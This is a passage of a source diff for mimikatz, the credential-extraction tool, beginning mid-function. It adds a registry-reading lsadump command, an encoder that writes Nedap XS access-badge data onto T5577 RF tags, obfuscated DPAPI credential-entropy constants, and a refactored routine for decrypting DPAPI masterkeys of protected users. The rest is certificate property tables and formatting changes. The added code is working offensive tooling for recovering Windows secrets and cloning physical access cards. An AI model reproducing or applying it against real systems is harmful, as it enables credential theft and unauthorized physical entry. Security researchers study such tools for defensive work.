if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry)) + { + if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase)) + { + kuhl_m_lsadump_mbc_data(hRegistry, hBase); + kull_m_registry_RegCloseKey(hRegistry, hBase); + } + kull_m_registry_close(hRegistry); + } + } + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_lsadump.h b/mimikatz/modules/kuhl_m_lsadump.h index 365f464..34e248a 100644 --- a/mimikatz/modules/kuhl_m_lsadump.h +++ b/mimikatz/modules/kuhl_m_lsadump.h @@ -68,6 +68,7 @@ NTSTATUS kuhl_m_lsadump_setntlm(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_changentlm(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_netsync(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_lsadump_packages(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_lsadump_mbc(int argc, wchar_t * argv[]); BOOL kuhl_m_lsadump_getSids(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN LPCWSTR littleKey, IN LPCWSTR prefix); BOOL kuhl_m_lsadump_getComputerAndSyskey(IN PKULL_M_REGISTRY_HANDLE hRegistry, IN HKEY hSystemBase, OUT LPBYTE sysKey); diff --git a/mimikatz/modules/kuhl_m_misc.c b/mimikatz/modules/kuhl_m_misc.c index ad5b178..e7cd4cb 100644 --- a/mimikatz/modules/kuhl_m_misc.c +++ b/mimikatz/modules/kuhl_m_misc.c @@ -772,9 +772,9 @@ NTSTATUS kuhl_m_misc_lock(int argc, wchar_t * argv[]) PCWCHAR process; UNICODE_STRING uProcess; kull_m_string_args_byName(argc, argv, L"process", &process, L"explorer.exe"); - RtlInitUnicodeString(&uProcess, process); - kprintf(L"Proxy process : %wZ\n", &uProcess); - kull_m_process_getProcessInformation(kuhl_m_misc_lock_callback, &uProcess); + RtlInitUnicodeString(&uProcess, process); + kprintf(L"Proxy process : %wZ\n", &uProcess); + kull_m_process_getProcessInformation(kuhl_m_misc_lock_callback, &uProcess); return STATUS_SUCCESS; } diff --git a/mimikatz/modules/kuhl_m_sr98.c b/mimikatz/modules/kuhl_m_sr98.c index cc7e12c..0dacd1a 100644 --- a/mimikatz/modules/kuhl_m_sr98.c +++ b/mimikatz/modules/kuhl_m_sr98.c @@ -13,6 +13,7 @@ const KUHL_M_C kuhl_m_c_sr98[] = { {kuhl_m_sr98_hid26, L"hid", NULL}, {kuhl_m_sr98_em4100, L"em4100", NULL}, {kuhl_m_sr98_noralsy, L"noralsy", NULL}, + {kuhl_m_sr98_nedap, L"nedap", NULL}, }; const KUHL_M kuhl_m_sr98 = { L"sr98", L"RF module for SR98 device and T5577 target", NULL, @@ -243,6 +244,53 @@ NTSTATUS kuhl_m_sr98_noralsy(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } +NTSTATUS kuhl_m_sr98_nedap(int argc, wchar_t * argv[]) +{ + PCWCHAR szNumber; + UCHAR SubType, i; + USHORT CustomerCode; + ULONG Number, blocks[5]; + BOOLEAN isLong = kull_m_string_args_byName(argc, argv, L"long", NULL, NULL); + + kprintf(L"\nNedap XS encoder\n\n"); + kull_m_string_args_byName(argc, argv, L"sub", &szNumber, L"5"); + Number = wcstoul(szNumber, NULL, 0); + if(Number < 0x10) + { + SubType = (UCHAR) Number; + kprintf(L" * SubType : %hhu (0x%1x)\n", SubType, SubType); + if(kull_m_string_args_byName(argc, argv, L"cc", &szNumber, NULL)) + { + Number = wcstoul(szNumber, NULL, 0); + if(Number < 0x1000) + { + CustomerCode = (USHORT) Number; + kprintf(L" * CustomerCode: %hu (0x%03x)\n", CustomerCode, CustomerCode); + if(kull_m_string_args_byName(argc, argv, L"cn", &szNumber, NULL)) + { + Number = wcstoul(szNumber, NULL, 0); + kprintf(L" * CardNumber : %u (0x%08x)\n", Number, Number); + if(Number > 0) + { + kuhl_m_sr98_nedap_blocks(blocks, isLong, SubType, CustomerCode, Number); + kprintf(L" * Nedap : "); + for(i = 1; i < (isLong ? 5 : 3); i++) + kprintf(L"%08x", blocks[i]); + kprintf(L" (%s)\n", isLong ? L"long" : L"short"); + kuhl_m_sr98_sendBlocks(blocks, isLong ? ARRAYSIZE(blocks) : (ARRAYSIZE(blocks) - 2)); + } + else PRINT_ERROR(L"CardNumber (/cn) must be > 0 - it was %u (0x%08x)\n", Number, Number); + } + else PRINT_ERROR(L"CardNumber (/cn) is needed\n"); + } + else PRINT_ERROR(L"CustomerCode (/cc) must be in the [0;4096] range - it was %u (0x%08x)\n", Number, Number); + } + else PRINT_ERROR(L"CustomerCode (/cc) is needed\n"); + } + else PRINT_ERROR(L"SubType (/sub) must be in the [0;15] range - it was %u (0x%08x)\n", Number, Number); + return STATUS_SUCCESS; +} + BOOL kuhl_m_sr98_sendBlocks(ULONG *blocks, UCHAR nb) { BOOL status = FALSE; @@ -398,4 +446,65 @@ void kuhl_m_sr98_noralsy_blocks(ULONG blocks[4], ULONG CardNumber, USHORT Year) blocks[1] = 0xbb0214ff; blocks[2] = (r1 << 28) | (r2 << 24) | (r3 << 20) | (y1 << 16) | (y2 << 12) | (r4 << 4) | r5; blocks[3] = (r6 << 28) | (r7 << 24) | (c << 20) | (7 << 16); // 7 = 0xb ^ 0xb ^ 0x0 ^ 0x2 ^ 0x1 ^ 0x4 ^ 0xf ^ 0xf (^ c1 ^ c1); +} + +USHORT kuhl_m_sr98_crc16_ccitt_1021(const UCHAR *data, ULONG len) +{ + ULONG i, j, res; + for (i = 0, res = 0; i < len; i++) + { + res = ((data[i] << 8) ^ res) & 0x0000ffff; + for(j = 0; j < 8; j++) + { + if(res & 0x8000 ) + res = (2 * res ^ 0x1021); + else res <<= 1; + } + } + return (USHORT) res; +} + +const UCHAR kuhl_m_sr98_nedap_translateTable[10] = {8, 2, 1, 12, 4, 5, 10, 13, 0, 9}; +void kuhl_m_sr98_nedap_blocks(ULONG blocks[5], BOOLEAN isLong, UCHAR SubType, USHORT CustomerCode, ULONG CardNumber) +{ + UCHAR r1, r2, r3, r4, r5, idxC2, idxC3, idxC4, idxC5, i, tmp; + USHORT checksum; + ULONGLONG uBuffer, t; + + r1 = (UCHAR) (CardNumber / 10000); + r2 = (UCHAR) ((CardNumber % 10000) / 1000); + r3 = (UCHAR) ((CardNumber % 1000) / 100); + r4 = (UCHAR) ((CardNumber % 100) / 10); + r5 = (UCHAR) (CardNumber % 10); + idxC2 = (r1 + 1 + r2) % 10; + idxC3 = (idxC2 + 1 + r3) % 10; + idxC4 = (idxC3 + 1 + r4) % 10; + idxC5 = (idxC4 + 1 + r5) % 10; + + uBuffer = ((ULONGLONG) (0xc0 | (SubType & 0x0f)) << 32) | ((ULONGLONG) (CustomerCode & 0x0fff) << 20) | ((ULONGLONG) kuhl_m_sr98_nedap_translateTable[r1] << 16) | ((ULONGLONG) kuhl_m_sr98_nedap_translateTable[idxC2] << 12) | ((ULONGLONG) kuhl_m_sr98_nedap_translateTable[idxC3] << 8) | ((ULONGLONG) kuhl_m_sr98_nedap_translateTable[idxC4] << 4) | kuhl_m_sr98_nedap_translateTable[idxC5]; + t = _byteswap_uint64(uBuffer) >> 24; + checksum = kuhl_m_sr98_crc16_ccitt_1021((const UCHAR *) &t, 5); + uBuffer <<= 16; + ((PUCHAR) &uBuffer)[0] = (UCHAR) ((checksum & 0x000f) << 4) | ((uBuffer >> 16) & 0x0f); + ((PUCHAR) &uBuffer)[1] = (UCHAR) ((checksum & 0x00f0) << 0) | ((uBuffer >> 20) & 0x0f); + ((PUCHAR) &uBuffer)[2] = (UCHAR) ((checksum & 0x0f00) >> 4) | ((uBuffer >> 24) & 0x0f); + ((PUCHAR) &uBuffer)[3] = (UCHAR) ((checksum & 0xf000) >> 8) | ((uBuffer >> 28) & 0x0f); + for(i = 0, tmp = 1; i < ((sizeof(ULONGLONG) - 1) * 8); i++) // to check ? -1 ? + tmp ^= (uBuffer >> i) & 1; + uBuffer <<= 1; + uBuffer |= 0xfe00000000000000 | tmp; + + blocks[1] = (ULONG) (uBuffer >> 32); + blocks[2] = (ULONG) uBuffer; + if(isLong) + { + uBuffer = ((ULONGLONG) ((r4 << 4) | r5) << 55) | ((ULONGLONG) ((r2 << 4) | r3) << 46) | ((ULONGLONG) r1 << 37) | ((ULONGLONG) C_FIXED0 << 28) | ((ULONGLONG) C_FIXED1 << 19) | ((ULONGLONG) C_UNK0 << 10) | ((ULONGLONG) C_UNK1 << 1); + for(i = 1, tmp = 0; i < (sizeof(ULONGLONG) * 8); i++) + tmp ^= (uBuffer >> i) & 1; + uBuffer |= tmp; + blocks[3] = (ULONG) (uBuffer >> 32); + blocks[4] = (ULONG) uBuffer; + blocks[0] = 0x907f0082; // RF/64, Biphase, [1-4], inverted + } + else blocks[0] = 0x907f0042; // RF/64, Biphase, [1-2], inverted } \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_sr98.h b/mimikatz/modules/kuhl_m_sr98.h index 4b19eaa..514e61c 100644 --- a/mimikatz/modules/kuhl_m_sr98.h +++ b/mimikatz/modules/kuhl_m_sr98.h @@ -16,6 +16,12 @@ NTSTATUS kuhl_m_sr98_list(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sr98_hid26(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sr98_em4100(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_sr98_noralsy(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_sr98_nedap(int argc, wchar_t * argv[]); + +#define C_FIXED0 0x71 +#define C_FIXED1 0x40 +#define C_UNK0 0x00 +#define C_UNK1 0x00 typedef struct _KUHL_M_SR98_RAW_BLOCK { UCHAR toProg; @@ -30,4 +36,7 @@ void kuhl_m_sr98_hid26_blocks(ULONG blocks[4], UCHAR FacilityCode, USHORT CardNu void kuhl_m_sr98_em4100_blocks(ULONG blocks[3], ULONGLONG CardNumber); -void kuhl_m_sr98_noralsy_blocks(ULONG blocks[4], ULONG CardNumber, USHORT Year); \ No newline at end of file +void kuhl_m_sr98_noralsy_blocks(ULONG blocks[4], ULONG CardNumber, USHORT Year); + +USHORT kuhl_m_sr98_crc16_ccitt_1021(const UCHAR *data, ULONG len); +void kuhl_m_sr98_nedap_blocks(ULONG blocks[5], BOOLEAN isLong, UCHAR SubType, USHORT CustomerCode, ULONG CardNumber); \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/globals_sekurlsa.h b/mimikatz/modules/sekurlsa/globals_sekurlsa.h index fe935f2..b2b7059 100644 --- a/mimikatz/modules/sekurlsa/globals_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/globals_sekurlsa.h @@ -9,7 +9,6 @@ #include "../modules/kull_m_process.h" #include "../modules/kull_m_handle.h" #include "../modules/rpc/kull_m_rpc.h" -#include "../dpapi/kuhl_m_dpapi_oe.h" typedef struct _RTL_BALANCED_LINKS { struct _RTL_BALANCED_LINKS *Parent; diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h index 290b968..ed175b5 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.h @@ -219,4 +219,6 @@ typedef struct _ENC_LSAISO_DATA_BLOB { BYTE unkData1[16]; BYTE unkData2[16]; BYTE data[ANYSIZE_ARRAY]; -} ENC_LSAISO_DATA_BLOB, *PENC_LSAISO_DATA_BLOB; \ No newline at end of file +} ENC_LSAISO_DATA_BLOB, *PENC_LSAISO_DATA_BLOB; + +#include "../dpapi/kuhl_m_dpapi_oe.h" \ No newline at end of file diff --git a/modules/kull_m_cred.c b/modules/kull_m_cred.c index 4d699a5..6fa905f 100644 --- a/modules/kull_m_cred.c +++ b/modules/kull_m_cred.c @@ -5,6 +5,16 @@ */ #include "kull_m_cred.h" +const wchar_t KULL_M_CRED_ENTROPY_CRED_DER[37] = L"\x0184\x0188\x0194\x00c8\x00e0\x00d8\x00e4\x0198\x00b4\x00e4\x0188\x00d0\x00dc\x00b4\x00d0\x018c\x0190\x00e4\x00b4\x0184\x00cc\x00d4\x00e0\x00b4\x018c\x00c8\x00c8\x00e4\x00c0\x00d0\x0190\x0188\x0184\x00dc\x0198\x00dc"; +const wchar_t KULL_M_CRED_ENTROPYDOM_CRED_DER[37] = L"\x00e0\x00c8\x0108\x0110\x00c0\x0114\x00d8\x00dc\x00b4\x00e4\x0118\x0114\x0104\x00b4\x00d0\x00dc\x00d0\x00e0\x00b4\x00e0\x00d8\x00dc\x00c8\x00b4\x0110\x00d4\x0114\x0118\x0114\x00d4\x0108\x00dc\x00dc\x00e4\x0108\x00c0"; +//wchar_t entropyCred[] = L"abe2869f-9b47-4cd9-a358-c22904dba7f7"; +//wchar_t entropyDomCred[] = L"82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; +//DWORD i; +//for(i = 0; i < ARRAYSIZE(entropyCred); i++) +// entropyCred[i] <<= 2; +//for(i = 0; i < ARRAYSIZE(entropyDomCred); i++) +// entropyDomCred[i] <<= 2; + PKULL_M_CRED_BLOB kull_m_cred_create(PVOID data/*, DWORD size*/) { PKULL_M_CRED_BLOB cred = NULL; diff --git a/modules/kull_m_cred.h b/modules/kull_m_cred.h index b076596..12dc120 100644 --- a/modules/kull_m_cred.h +++ b/modules/kull_m_cred.h @@ -8,6 +8,9 @@ #include "kull_m_dpapi.h" #include "kull_m_string.h" +const wchar_t KULL_M_CRED_ENTROPY_CRED_DER[37]; +const wchar_t KULL_M_CRED_ENTROPYDOM_CRED_DER[37]; + #pragma pack(push, 1) typedef struct _KULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE { DWORD id; diff --git a/modules/kull_m_crypto.c b/modules/kull_m_crypto.c index 6791c54..4fd1809 100644 --- a/modules/kull_m_crypto.c +++ b/modules/kull_m_crypto.c @@ -825,7 +825,15 @@ const KULL_M_CRYPTO_DUAL_STRING_DWORD kull_m_crypto_cert_prop_id[] = { {L"CERT_SCEP_SIGNER_CERT_PROP_ID", 112}, // sha1 Thumbprint {L"CERT_SCEP_NONCE_PROP_ID", 113}, // blob {L"CERT_SCEP_ENCRYPT_HASH_CNG_ALG_PROP_ID", 114}, // string: "CNGEncryptAlgId/CNGHashAlgId" example: "3DES/SHA1" - {L"CERT_SCEP_FLAGS_PROP_ID", 115}, + {L"CERT_SCEP_FLAGS_PROP_ID", 115}, // DWORD + {L"CERT_SCEP_GUID_PROP_ID", 116}, // string + {L"CERT_SERIALIZABLE_KEY_CONTEXT_PROP_ID", 117}, // CERT_KEY_CONTEXT + {L"CERT_ISOLATED_KEY_PROP_ID", 118}, // blob + {L"CERT_SERIAL_CHAIN_PROP_ID", 119}, + {L"CERT_KEY_CLASSIFICATION_PROP_ID", 120}, // DWORD CertKeyType + {L"CERT_OCSP_MUST_STAPLE_PROP_ID", 121}, + {L"CERT_DISALLOWED_ENHKEY_USAGE_PROP_ID", 122}, + {L"CERT_NONCOMPLIANT_ROOT_URL_PROP_ID", 123}, // NULL terminated UNICODE string }; DWORD kull_m_crypto_system_store_to_dword(PCWSTR name) diff --git a/modules/kull_m_crypto.h b/modules/kull_m_crypto.h index 38ff428..43c1a63 100644 --- a/modules/kull_m_crypto.h +++ b/modules/kull_m_crypto.h @@ -39,6 +39,22 @@ typedef struct _RSA_GENERICKEY_BLOB { #define CNG_RSA_PRIVATE_KEY_BLOB (LPCSTR) 83 #endif +#if !defined(NCRYPT_PREFER_VIRTUAL_ISOLATION_FLAG) +#define NCRYPT_PREFER_VIRTUAL_ISOLATION_FLAG 0x10000 +#endif +#if !defined(NCRYPT_USE_VIRTUAL_ISOLATION_FLAG) +#define NCRYPT_USE_VIRTUAL_ISOLATION_FLAG 0x20000 +#endif +#if !defined(NCRYPT_USE_PER_BOOT_KEY_FLAG) +#define NCRYPT_USE_PER_BOOT_KEY_FLAG 0x40000 +#endif +#if !defined(NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY) +#define NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY L"Virtual Iso" +#endif +#if !defined(NCRYPT_USE_PER_BOOT_KEY_PROPERTY) +#define NCRYPT_USE_PER_BOOT_KEY_PROPERTY L"Per Boot Key" +#endif + typedef struct _PVK_FILE_HDR { DWORD dwMagic; DWORD dwVersion; diff --git a/modules/kull_m_dpapi.c b/modules/kull_m_dpapi.c index 8536026..f708c94 100644 --- a/modules/kull_m_dpapi.c +++ b/modules/kull_m_dpapi.c @@ -536,13 +536,22 @@ BOOL kull_m_dpapi_unprotect_raw_or_blob(LPCVOID pDataIn, DWORD dwDataInLen, LPWS return status; } +BOOL kull_m_dpapi_getProtected(PVOID PassHash, DWORD PassLen, PCWSTR sid) +{ + BOOL status = FALSE; + DWORD SidLen = lstrlen(sid) * sizeof(wchar_t); + BYTE sha2[32]; + if(kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, PassHash, PassLen, sid, SidLen, 10000, sha2, sizeof(sha2), FALSE)) + status = kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, sha2, sizeof(sha2), sid, SidLen, 1, (PBYTE) PassHash, PassLen, FALSE); + return status; +} + BOOL kull_m_dpapi_unprotect_masterkey_with_password(DWORD flags, PKULL_M_DPAPI_MASTERKEY masterkey, PCWSTR password, PCWSTR sid, BOOL isKeyOfProtectedUser, PVOID *output, DWORD *outputLen) { BOOL status = FALSE; ALG_ID PassAlg; DWORD PassLen, SidLen = (DWORD) wcslen(sid) * sizeof(wchar_t); PVOID PassHash; - BYTE sha2[32]; PassAlg = (flags & 4) ? CALG_SHA1 : CALG_MD4; PassLen = kull_m_crypto_hash_len(PassAlg); @@ -551,9 +560,7 @@ BOOL kull_m_dpapi_unprotect_masterkey_with_password(DWORD flags, PKULL_M_DPAPI_M if(kull_m_crypto_hash(PassAlg, password, (DWORD) wcslen(password) * sizeof(wchar_t), PassHash, PassLen)) { if(isKeyOfProtectedUser && (PassAlg == CALG_MD4)) - if(kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, PassHash, PassLen, sid, SidLen, 10000, sha2, sizeof(sha2), FALSE)) - kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA_256, sha2, sizeof(sha2), sid, SidLen, 1, (PBYTE) PassHash, PassLen, FALSE); - + kull_m_dpapi_getProtected(PassHash, PassLen, sid); status = kull_m_dpapi_unprotect_masterkey_with_userHash(masterkey, PassHash, PassLen, sid, output, outputLen); } LocalFree(PassHash); @@ -565,8 +572,12 @@ BOOL kull_m_dpapi_unprotect_masterkey_with_userHash(PKULL_M_DPAPI_MASTERKEY mast { BOOL status = FALSE; BYTE sha1DerivedKey[SHA_DIGEST_LENGTH]; - - if(kull_m_crypto_hmac(CALG_SHA1, userHash, userHashLen, sid, (DWORD) (wcslen(sid) + 1) * sizeof(wchar_t), sha1DerivedKey, SHA_DIGEST_LENGTH)) + + if(sid) + status = kull_m_crypto_hmac(CALG_SHA1, userHash, userHashLen, sid, (lstrlen(sid) + 1) * sizeof(wchar_t), sha1DerivedKey, SHA_DIGEST_LENGTH); + else RtlCopyMemory(sha1DerivedKey, userHash, min(sizeof(sha1DerivedKey), userHashLen)); + + if(!sid || status) status = kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(masterkey, sha1DerivedKey, SHA_DIGEST_LENGTH, output, outputLen); return status; } diff --git a/modules/kull_m_dpapi.h b/modules/kull_m_dpapi.h index 091cdc8..2168b02 100644 --- a/modules/kull_m_dpapi.h +++ b/modules/kull_m_dpapi.h @@ -173,6 +173,7 @@ BOOL kull_m_dpapi_sessionkey(LPCVOID masterkey, DWORD masterkeyLen, LPCVOID salt BOOL kull_m_dpapi_unprotect_blob(PKULL_M_DPAPI_BLOB blob, LPCVOID masterkey, DWORD masterkeyLen, LPCVOID entropy, DWORD entropyLen, LPCWSTR password, LPVOID *dataOut, DWORD *dataOutLen); BOOL kull_m_dpapi_unprotect_raw_or_blob(LPCVOID pDataIn, DWORD dwDataInLen, LPWSTR *ppszDataDescr, LPCVOID pOptionalEntropy, DWORD dwOptionalEntropyLen, CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, DWORD dwFlags, LPVOID *pDataOut, DWORD *dwDataOutLen, LPCVOID pMasterKey, DWORD dwMasterKeyLen, LPCWSTR pPassword); +BOOL kull_m_dpapi_getProtected(PVOID PassHash, DWORD PassLen, PCWSTR sid); BOOL kull_m_dpapi_unprotect_masterkey_with_password(DWORD flags, PKULL_M_DPAPI_MASTERKEY masterkey, PCWSTR password, PCWSTR sid, BOOL isKeyOfProtectedUser, PVOID *output, DWORD *outputLen); BOOL kull_m_dpapi_unprotect_masterkey_with_userHash(PKULL_M_DPAPI_MASTERKEY masterkey, LPCVOID userHash, DWORD userHashLen, PCWSTR sid, PVOID *output, DWORD *outputLen); BOOL kull_m_dpapi_unprotect_masterkey_with_shaDerivedkey(PKULL_M_DPAPI_MASTERKEY masterkey, LPCVOID shaDerivedkey, DWORD shaDerivedkeyLen, PVOID *output, DWORD *outputLen); diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c index 4cab15a..8971a04 100644 --- a/modules/kull_m_string.c +++ b/modules/kull_m_string.c @@ -28,8 +28,7 @@ void kull_m_string_printSuspectUnicodeString(PVOID data, DWORD size) UNICODE_STRING uString = {(USHORT) size, (USHORT) size, (LPWSTR) data}; if(kull_m_string_suspectUnicodeString(&uString)) kprintf(L"%wZ", &uString); - else - kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); + else kull_m_string_wprintf_hex(uString.Buffer, uString.Length, 1); } void kull_m_string_MakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, BOOL relative)